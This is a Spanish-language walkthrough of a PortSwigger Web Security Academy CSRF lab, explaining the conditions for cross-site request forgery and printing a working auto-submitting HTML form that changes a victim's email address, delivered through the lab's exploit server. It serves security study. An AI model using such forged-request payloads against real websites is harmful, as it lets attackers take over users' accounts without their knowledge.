CSRF Lab 1
Skills
- CSRF vulnerability with no defenses
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene una funcionalidad de cambio
de correo electrónico
vulnerable a CSRF
. Para resolver
el laboratorio
, debemos crear un HTML
que utilice un ataque CSRF
para cambiar
la dirección de correo electrónico
del usuario
que lo visualiza
y subirlo a nuestro servidor de explotación
. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Pulsamos sobre My account
y nos logueamos
con las credenciales wiener:peter
Vemos que hay un botón
para cambiar
el email
Para resolver
el laboratorio
, debemos explotar
un CSRF
, el cual es una vulnerabilidad
de seguridad web
que permite a un atacante
inducir a los usuarios
a realizar acciones
que no tienen intención
de realizar. Permite a un atacante
eludir parcialmente la política
de same origin
, que está diseñada para evitar que diferentes sitios web
interfieran entre sí. Para que sea posible un ataque CSRF
, deben cumplirse tres condiciones clave
Una acción relevante
- Hay unaacción
dentro de laaplicación
que elatacante
tienemotivos
parainducir
. Puede ser unaacción privilegiada
(comomodificar
lospermisos
de otrosusuarios
) o cualquieracción
sobredatos específicos
delusuario
(comocambiar
lacontraseña
delusuario
)Manejo de sesiones basado en cookies
- Pararealizar
laacción
, se debenemitir
una o mássolicitudes HTTP
, y laaplicación
se basa únicamente en lascookies de sesión
paraidentificar
alusuario
que realizó lassolicitudes
. No existe ningún otromecanismo
pararealizar
elseguimiento
de lassesiones
ovalidar
lassolicitudes
de losusuarios
Sin parámetros de solicitud impredecibles
- Lassolicitudes
que realizan laacción
no contienen ningúnparámetro
cuyosvalores
elatacante
no puedadeterminar
oadivinar
. Por ejemplo, alhacer
que unusuario
cambie sucontraseña
, lafunción
no esvulnerable
si unatacante
necesitasaber
elvalor
de lacontraseña existente
Si nos fijamos en la petición
de cambiar email
, vemos que cumple estas tres condiciones
Si inspeccionamos
el código
, vemos cómo se envía
el formulario
. Podemos usar
este formulario como modelo
para construir
nuestro propio payload
Si contamos Burpsuite Professional
podemos capturar
una petición
y pulsar click derecho > Engagement tools > Generate CSRF PoC
para que nos genere
un payload
Se nos genera este payload
, aunque es funcional, en la mayoría de ocasiones vamos a tener que retocarlo
un poco para mejorar
su desempeño
En mi caso prefiero construir
los payloads
de forma manual
, para comprobar
que funciona
nos dirigimos al Exploit server
y lo pegamos
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://0aff009204c2ab8280be6c3c00aa00c5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Una vez hecho esto pulsamos sobre View exploit
para ver si nos cambia
el email
a nosotros y efectivamente
nos lo cambia
. Independientemente de como generemos el payload, para completar
el laboratorio
debemos pegarlo en el Exploit server
y pulsar sobre Delivery exploit to victim
. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email
, por lo tanto, debemos cambiar nuestro email o cambiar el email en el payload que enviamos